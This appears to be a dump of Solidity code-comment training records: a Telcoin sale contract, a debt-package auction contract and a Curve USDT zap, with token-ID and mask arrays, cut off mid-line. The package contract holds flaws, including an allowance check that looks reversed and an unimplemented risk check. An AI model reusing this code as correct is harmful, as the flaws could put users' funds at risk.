uint256 public weiRefunded; modifier onlyOwner() { require(msg.sender == owner); _; } modifier saleOpen() { require(!finished); require(!paused); require(now >= startTime); require(now <= endTime + timeExtension); _; } function TelcoinSale( uint256 _softCap, uint256 _hardCap, uint32 _capFlex, uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, Telcoin _telcoin, uint256 _bonusVestingStart, uint256 _bonusVestingDuration ) public payable { require(msg.value > 0); require(_softCap > 0); require(_hardCap >= _softCap); require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); owner = msg.sender; softCap = _softCap; hardCap = _hardCap; capFlex = _capFlex; startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; telcoin = _telcoin; saleToken = new TelcoinSaleToken(telcoin, 0, 0); bonusToken = new TelcoinSaleToken( telcoin, _bonusVestingStart, _bonusVestingDuration ); wallet.transfer(msg.value); } function () public payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) saleOpen public payable { require(_beneficiary != address(0)); uint256 weiAmount = msg.value; require(weiAmount > 0); require(weiRaised.add(weiAmount) <= hardCap); uint256 totalPrior = totalDeposited(_beneficiary); uint256 totalAfter = totalPrior.add(weiAmount); require(totalAfter <= whitelistedMax[_beneficiary]); uint256 saleTokens; uint256 bonusTokens; (saleTokens, bonusTokens) = tokensForPurchase(_beneficiary, weiAmount); uint256 newDeposited = deposited[_beneficiary].add(weiAmount); deposited[_beneficiary] = newDeposited; investors.push(_beneficiary); weiRaised = weiRaised.add(weiAmount); saleToken.mint(_beneficiary, saleTokens); if (bonusTokens > 0) { bonusToken.mint(_beneficiary, bonusTokens); } TokenPurchase( msg.sender, _beneficiary, weiAmount, saleTokens, bonusTokens ); } function changeWallet(address _wallet) onlyOwner public payable { require(_wallet != 0x0); require(msg.value > 0); WalletChanged(wallet, _wallet); wallet = _wallet; wallet.transfer(msg.value); } function extendTime(uint256 _timeExtension) onlyOwner public { require(!finished); require(now < endTime + timeExtension); require(_timeExtension > 0); timeExtension = timeExtension.add(_timeExtension); require(timeExtension <= 7 days); Extended(endTime.add(timeExtension)); } function finish() onlyOwner public { require(!finished); require(hardCapReached() || now > endTime + timeExtension); finished = true; finishedAt = now; saleToken.finishMinting(); bonusToken.finishMinting(); uint256 distributableCoins = telcoin.balanceOf(this); if (softCapReached()) { uint256 saleTokens = saleToken.totalSupply(); uint256 bonusTokens = bonusToken.totalSupply(); uint256 totalTokens = saleTokens.add(bonusTokens); // Avoid loss of precision by multiplying and later dividing by // a large value. uint256 bonusPortion = bonusTokens.mul(10 ** 18).div(totalTokens).mul(distributableCoins).div(10 ** 18); uint256 salePortion = distributableCoins.sub(bonusPortion); saleToken.transferOwnership(owner); bonusToken.transferOwnership(owner); telcoin.transfer(saleToken, salePortion); telcoin.transfer(bonusToken, bonusPortion); withdraw(); } else { refunding = true; telcoin.transfer(wallet, distributableCoins); Refunding(); } Finalized(); } function pause() onlyOwner public { require(!paused); paused = true; Pause(); } function refundMany(address[] _investors) public { for (uint256 i = 0; i < _investors.length; i++) { refund(_investors[i]); } } function refund(address _investor) public { require(finished); require(refunding); require(deposited[_investor] > 0); uint256 weiAmount = deposited[_investor]; deposited[_investor] = 0; weiRefunded = weiRefunded.add(weiAmount); Refunded(_investor, weiAmount); _investor.transfer(weiAmount); } function registerAltPurchase( address _beneficiary, string _symbol, string _transactionId, uint256 _weiAmount ) saleOpen onlyOwner public { require(_beneficiary != address(0)); require(totalDeposited(_beneficiary).add(_weiAmount) <= whitelistedMax[_beneficiary]); uint256 saleTokens; uint256 bonusTokens; (saleTokens, bonusTokens) = tokensForPurchase(_beneficiary, _weiAmount); uint256 newAltDeposited = altDeposited[_beneficiary].add(_weiAmount); altDeposited[_beneficiary] = newAltDeposited; investors.push(_beneficiary); weiRaised = weiRaised.add(_weiAmount); saleToken.mint(_beneficiary, saleTokens); if (bonusTokens > 0) { bonusToken.mint(_beneficiary, bonusTokens); } TokenAltPurchase( msg.sender, _beneficiary, _weiAmount, saleTokens, bonusTokens, _symbol, _transactionId ); } function transferOwnership(address _to) onlyOwner public { require(_to != address(0)); OwnershipTransferred(owner, _to); owner = _to; } function unpause() onlyOwner public { require(paused); paused = false; Unpause(); } function updateCapFlex(uint32 _capFlex) onlyOwner public { require(!finished); capFlex = _capFlex; CapFlexed(capFlex); } function whitelistMany( address[] _participants, uint256 _minWeiAmount, uint256 _maxWeiAmount, uint32 _bonusRate ) onlyOwner public { for (uint256 i = 0; i < _participants.length; i++) { whitelist( _participants[i], _minWeiAmount, _maxWeiAmount, _bonusRate ); } } function whitelist( address _participant, uint256 _minWeiAmount, uint256 _maxWeiAmount, uint32 _bonusRate ) onlyOwner public { require(_participant != 0x0); require(_bonusRate <= 400); whitelistedMin[_participant] = _minWeiAmount; whitelistedMax[_participant] = _maxWeiAmount; bonusRates[_participant] = _bonusRate; Whitelisted( _participant, _minWeiAmount, _maxWeiAmount, _bonusRate ); } function withdraw() onlyOwner public { require(softCapReached() || (finished && now > finishedAt + 14 days)); uint256 weiAmount = this.balance; if (weiAmount > 0) { wallet.transfer(weiAmount); Withdrawal(wallet, weiAmount); } } function hardCapReached() public constant returns (bool) { return weiRaised >= hardCap.mul(1000 + capFlex).div(1000); } function tokensForPurchase( address _beneficiary, uint256 _weiAmount ) public constant returns (uint256, uint256) { uint256 baseTokens = _weiAmount.mul(rate); uint256 totalPrior = totalDeposited(_beneficiary); uint256 totalAfter = totalPrior.add(_weiAmount); // Has the beneficiary passed the assigned minimum purchase level? if (totalAfter < whitelistedMin[_beneficiary]) { return (baseTokens, 0); } uint32 bonusRate = bonusRates[_beneficiary]; uint256 baseBonus = baseTokens.mul(1000 + bonusRate).div(1000).sub(baseTokens); // Do we pass the minimum purchase level with this purchase? if (totalPrior < whitelistedMin[_beneficiary]) { uint256 balancePrior = totalPrior.mul(rate); uint256 accumulatedBonus = balancePrior.mul(1000 + bonusRate).div(1000).sub(balancePrior); return (baseTokens, accumulatedBonus.add(baseBonus)); } return (baseTokens, baseBonus); } function totalDeposited(address _investor) public constant returns (uint256) { return deposited[_investor].add(altDeposited[_investor]); } function softCapReached() public constant returns (bool) { return weiRaised >= softCap.mul(1000 + capFlex).div(1000); } }
The ERC20 total fixed supply of tokens. Account balances. The transfer allowances. The initial distributor is responsible for allocating the supply into the various pools described in the whitepaper. This can be verified later from the event log.
function Telcoin(address _distributor) public { balances[_distributor] = totalSupply; Transfer(0x0, _distributor, totalSupply); }
2,510,213
[ 1, 1986, 4232, 39, 3462, 2078, 5499, 14467, 434, 2430, 18, 6590, 324, 26488, 18, 1021, 7412, 1699, 6872, 18, 1021, 2172, 1015, 19293, 353, 14549, 364, 4767, 1776, 326, 14467, 1368, 326, 11191, 16000, 11893, 316, 326, 600, 305, 881, 7294, 18, 1220, 848, 506, 13808, 5137, 628, 326, 871, 613, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 399, 292, 12645, 12, 2867, 389, 2251, 19293, 13, 1071, 288, 203, 3639, 324, 26488, 63, 67, 2251, 19293, 65, 273, 2078, 3088, 1283, 31, 203, 3639, 12279, 12, 20, 92, 20, 16, 389, 2251, 19293, 16, 2078, 3088, 1283, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/56/0xD409fb4999C937b4f29BE60eF79548c9A25A206d/sources/project_/contracts/shields.sol
0-3 regular traits, 4 = traitless (DEF)
return uint8(SafeMath.div(statPattern, 5) % 5);
3,233,166
[ 1, 20, 17, 23, 6736, 18370, 16, 1059, 273, 13517, 2656, 261, 12904, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 327, 2254, 28, 12, 9890, 10477, 18, 2892, 12, 5642, 3234, 16, 1381, 13, 738, 1381, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.0; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; /** * @title Debts Package. * @notice Package of debts tokens to be sold on a time auction. * @author Anibal Catalán <anibalcatalanf@gmail.com>. */ contract Package { using SafeMath for uint256; uint256 public maxRisk; uint256 public maxFund; uint256 public total; uint256 public fundingPeriod; uint256 public auctionPeriod; uint256 public auctionFloorPrice; uint256 public startTime; uint256 public fundingTimeFinished; uint256 public auctionTimeFinished; uint256 public tokenBalance; uint256 public finalPrice; address public liquidityToken; address public owner; address public riskOracle; mapping(address => uint256) public tokenAmount; //token->amount mapping(address => mapping(address => uint256)) public tokenContributions; //contributor->token->amount event LogFunded(address contributor, address token, uint256 contribution, uint256 balance); event LogPackageFunded(); event LogPackageSold(address owner, uint256 finalPrice); event LogCashOut(address contributor, address token, uint256 liquidity); event LogDebtRetrieved(address contributor, address token, uint256 contribution); event LogTokenCollected(address token, uint256 amount); constructor( uint256 _maxRisk, uint256 _maxFundPercentage, uint256 _total, uint256 _fundingPeriod, uint256 _auctionPeriod, uint256 _auctionFloorPricePercentage, address _liquidityToken, address _riskOracle ) public { require(_maxRisk > 0 && _maxRisk <= 100, "risk aout of range"); require(_maxFundPercentage > 0 && _maxFundPercentage <= 100, "max fund per token aut of range"); require(_fundingPeriod > 0, "invalid funding period"); require(_auctionPeriod > 0, "invalid auction period"); require(_auctionFloorPricePercentage > 0 && _auctionFloorPricePercentage <= 100, "auction floor price aout of range"); require(_liquidityToken != address(0), "invalid controller address"); require(_riskOracle != address(0), "invalid risk oracle address"); maxRisk = _maxRisk; maxFund = _total * _maxFundPercentage / 100; total = _total; fundingPeriod = _fundingPeriod * 1 minutes; auctionPeriod = _auctionPeriod * 1 minutes; auctionFloorPrice = _total * _auctionFloorPricePercentage / 100; startTime = now; liquidityToken = _liquidityToken; riskOracle = _riskOracle; } /** * @notice Function controlling by the company, * when the company see that this contract was funded with debt tokens, * they call this function to change the state according. * @param contributor Is who sent the debt token to this contract. * @param token It is the debt token. * @param contribution It how much token was send. */ function fund(address contributor, address token, uint256 contribution) public { require(tokenBalance < total, "package totally funded"); // validate balance require(now <= startTime.add(fundingPeriod) && fundingTimeFinished == 0, "out of period"); //validate funding time //TODO: Validate risk with an external risk Oracle require( contribution >= IERC20(token).allowance(contributor, address(this)), "not enough amount of tokens are allowed" ); // validate if amount of contribution is allowed uint256 contributionAmount; if (tokenAmount[token].add(contribution) > maxFund && tokenBalance.add(contribution) > total) { if (tokenBalance.add(contribution).sub(total) > tokenAmount[token].add(contribution).sub(maxFund)) { contributionAmount = total.sub(tokenBalance); } else { contributionAmount = maxFund.sub(tokenAmount[token]); } } else if (tokenBalance.add(contribution) > total) { contributionAmount = total.sub(tokenBalance); } else if (tokenAmount[token].add(contribution) > maxFund) { contributionAmount = maxFund.sub(tokenAmount[token]); } else { contributionAmount = contribution; } tokenAmount[token] = tokenAmount[token].add(contributionAmount); tokenContributions[contributor][token] = tokenContributions[contributor][token].add(contributionAmount); tokenBalance = tokenBalance.add(contributionAmount); if (tokenBalance == total) { fundingTimeFinished = now; emit LogPackageFunded(); } require(IERC20(token).transferFrom(contributor, address(this), contributionAmount), "transfer from fail"); emit LogFunded(contributor, token, contributionAmount, tokenBalance); } /** * @notice Time auction, the price of the package will decrease linearly, * until reach the floor auction price at the end of the auction period. * @param purchaser Who purchased the package. */ function auction(address purchaser) public { finalPrice = packagePrice(); uint256 amount = IERC20(liquidityToken).allowance(purchaser, address(this)); require(amount >= finalPrice, "not enough liquidity token is allowed"); owner = purchaser; auctionTimeFinished = now; require(IERC20(liquidityToken).transferFrom(purchaser, address(this), finalPrice), "transfer from fail"); emit LogPackageSold(owner, finalPrice); } /** * @notice Contributors can get liquidity as result of selling their debt tokens, * this is proportional to the final package price and the debt token contribution. * @param token Helps to identify the debt token contribution. */ function cashOut(address token) public { require(auctionTimeFinished > 0, "auction is not successfully finished"); uint256 contribution = tokenContributions[msg.sender][token]; require(contribution > 0, "no contributions"); tokenContributions[msg.sender][token] = 0; tokenAmount[token] = tokenAmount[token].sub(contribution); uint256 liquidity = contribution.mul(finalPrice).div(total); require(IERC20(liquidityToken).transfer(msg.sender, liquidity), "fail liquidity transfer"); emit LogCashOut(msg.sender, token, liquidity); } /** * @notice Contributors can retrieve their debt tokens if the funding of the package it was not successful. * @param token Helps to identify the debt token contribution. */ function retrieveDebt(address token) public { require((now > startTime.add(fundingPeriod) && fundingTimeFinished == 0) || (fundingTimeFinished > 0 && now > fundingTimeFinished.add(auctionPeriod) && auctionTimeFinished == 0), "funding or auction running"); uint256 contribution = tokenContributions[msg.sender][token]; require(contribution > 0, "no contributions"); tokenContributions[msg.sender][token] = 0; tokenAmount[token] = tokenAmount[token].sub(contribution); tokenBalance = tokenBalance.sub(contribution); require(IERC20(token).transfer(msg.sender, contribution), "token transfer fail"); emit LogDebtRetrieved(msg.sender, token, contribution); } /** * @notice Package owner can collect the debt tokens. * @param token Helps to identify the debt token to be collect. */ function collectToken(address token) public { require(auctionTimeFinished > 0, "auction is not successfully finished"); require(msg.sender == owner, "caller is not the owner"); uint256 amount = IERC20(token).balanceOf(address(this)); tokenAmount[token] = 0; tokenBalance = tokenBalance.sub(amount); require(IERC20(token).transfer(owner, amount), "token transfer fail"); emit LogTokenCollected(token, amount); } /** * @notice Calculate the package price while the auction is running. * @return price Package price in Wei. */ function packagePrice() public view returns(uint256) { require(fundingTimeFinished > 0, "funding is not complete"); require(now <= fundingTimeFinished.add(auctionPeriod) && auctionTimeFinished == 0, "out of period"); uint256 linearPriceChange = total.sub(auctionFloorPrice).mul(now.sub(fundingTimeFinished)).div(auctionPeriod); return total.sub(linearPriceChange); } /** * @notice Get the amount of tokens contributed by a contributor. * @param contributor where the contribution came from. * @param token it is the token contributed. * @return amount of tokens contributed. */ function contributions(address contributor, address token) public view returns(uint256) { return tokenContributions[contributor][token]; } /** * @notice Get the amount of tokens contributed. * @param token it is the token contributed. * @return amount of tokens contributed. */ function tokens(address token) public view returns(uint256) { return tokenAmount[token]; } }
* @notice Calculate the package price while the auction is running. @return price Package price in Wei./
function packagePrice() public view returns(uint256) { require(fundingTimeFinished > 0, "funding is not complete"); require(now <= fundingTimeFinished.add(auctionPeriod) && auctionTimeFinished == 0, "out of period"); uint256 linearPriceChange = total.sub(auctionFloorPrice).mul(now.sub(fundingTimeFinished)).div(auctionPeriod); return total.sub(linearPriceChange); }
1,070,971
[ 1, 8695, 326, 2181, 6205, 1323, 326, 279, 4062, 353, 3549, 18, 327, 6205, 7508, 6205, 316, 1660, 77, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2181, 5147, 1435, 1071, 1476, 1135, 12, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 74, 14351, 950, 10577, 405, 374, 16, 315, 74, 14351, 353, 486, 3912, 8863, 203, 3639, 2583, 12, 3338, 1648, 22058, 950, 10577, 18, 1289, 12, 69, 4062, 5027, 13, 597, 279, 4062, 950, 10577, 422, 374, 16, 315, 659, 434, 3879, 8863, 203, 540, 203, 3639, 2254, 5034, 9103, 5147, 3043, 273, 2078, 18, 1717, 12, 69, 4062, 42, 5807, 5147, 2934, 16411, 12, 3338, 18, 1717, 12, 74, 14351, 950, 10577, 13, 2934, 2892, 12, 69, 4062, 5027, 1769, 203, 3639, 327, 2078, 18, 1717, 12, 12379, 5147, 3043, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IAssetAllocation} from "contracts/common/Imports.sol"; import {SafeERC20, SafeMath} from "contracts/libraries/Imports.sol"; import {IOldStableSwap3 as IStableSwap, IDepositZap3 as IDepositZap, ILiquidityGauge} from "contracts/protocols/curve/common/interfaces/Imports.sol"; import {CurveUsdtConstants} from "./Constants.sol"; import {CurveGaugeZapBase} from "contracts/protocols/curve/common/Imports.sol"; contract CurveUsdtZap is CurveGaugeZapBase, CurveUsdtConstants { using SafeMath for uint256; using SafeERC20 for IERC20; constructor() public CurveGaugeZapBase( DEPOSIT_ZAP_ADDRESS, LP_TOKEN_ADDRESS, LIQUIDITY_GAUGE_ADDRESS, 10000, 100, 3 ) // solhint-disable-next-line no-empty-blocks {} function assetAllocations() public view override returns (string[] memory) { string[] memory allocationNames = new string[](1); allocationNames[0] = NAME; return allocationNames; } function erc20Allocations() public view override returns (IERC20[] memory) { IERC20[] memory allocations = _createErc20AllocationArray(0); return allocations; } function _addLiquidity(uint256[] calldata amounts, uint256 minAmount) internal override { IDepositZap(SWAP_ADDRESS).add_liquidity( [amounts[0], amounts[1], amounts[2]], minAmount ); } function _removeLiquidity( uint256 lpBalance, uint8 index, uint256 minAmount ) internal override { IERC20(LP_TOKEN_ADDRESS).safeApprove(SWAP_ADDRESS, 0); IERC20(LP_TOKEN_ADDRESS).safeApprove(SWAP_ADDRESS, lpBalance); IDepositZap(SWAP_ADDRESS).remove_liquidity_one_coin( lpBalance, index, minAmount ); } function _getCoinAtIndex(uint256 i) internal view override returns (address) { return IDepositZap(SWAP_ADDRESS).underlying_coins(int128(i)); } function _getVirtualPrice() internal view override returns (uint256) { address stableSwap = IDepositZap(SWAP_ADDRESS).curve(); return IStableSwap(stableSwap).get_virtual_price(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {IDetailedERC20} from "./IDetailedERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import {AccessControl} from "./AccessControl.sol"; import {INameIdentifier} from "./INameIdentifier.sol"; import {IAssetAllocation} from "./IAssetAllocation.sol"; import {IEmergencyExit} from "./IEmergencyExit.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {SignedSafeMath} from "@openzeppelin/contracts/math/SignedSafeMath.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {NamedAddressSet} from "./NamedAddressSet.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {CTokenInterface} from "./CTokenInterface.sol"; import {ITokenMinter} from "./ITokenMinter.sol"; import {IStableSwap, IStableSwap3} from "./IStableSwap.sol"; import {IStableSwap2} from "./IStableSwap2.sol"; import {IStableSwap4} from "./IStableSwap4.sol"; import {IOldStableSwap2} from "./IOldStableSwap2.sol"; import {IOldStableSwap3} from "./IOldStableSwap3.sol"; import {IOldStableSwap4} from "./IOldStableSwap4.sol"; import {ILiquidityGauge} from "./ILiquidityGauge.sol"; import {IStakingRewards} from "./IStakingRewards.sol"; import {IDepositZap} from "./IDepositZap.sol"; import {IDepositZap3} from "./IDepositZap3.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {INameIdentifier} from "contracts/common/Imports.sol"; import {Curve3poolUnderlyerConstants} from "contracts/protocols/curve/3pool/Constants.sol"; abstract contract CurveUsdtConstants is Curve3poolUnderlyerConstants, INameIdentifier { string public constant override NAME = "curve-usdt"; address public constant STABLE_SWAP_ADDRESS = 0x52EA46506B9CC5Ef470C5bf89f17Dc28bB35D85C; address public constant DEPOSIT_ZAP_ADDRESS = 0xac795D2c97e60DF6a99ff1c814727302fD747a80; address public constant LP_TOKEN_ADDRESS = 0x9fC689CCaDa600B6DF723D9E47D84d76664a1F23; address public constant LIQUIDITY_GAUGE_ADDRESS = 0xBC89cd85491d81C6AD2954E6d0362Ee29fCa8F53; address public constant CDAI_ADDRESS = 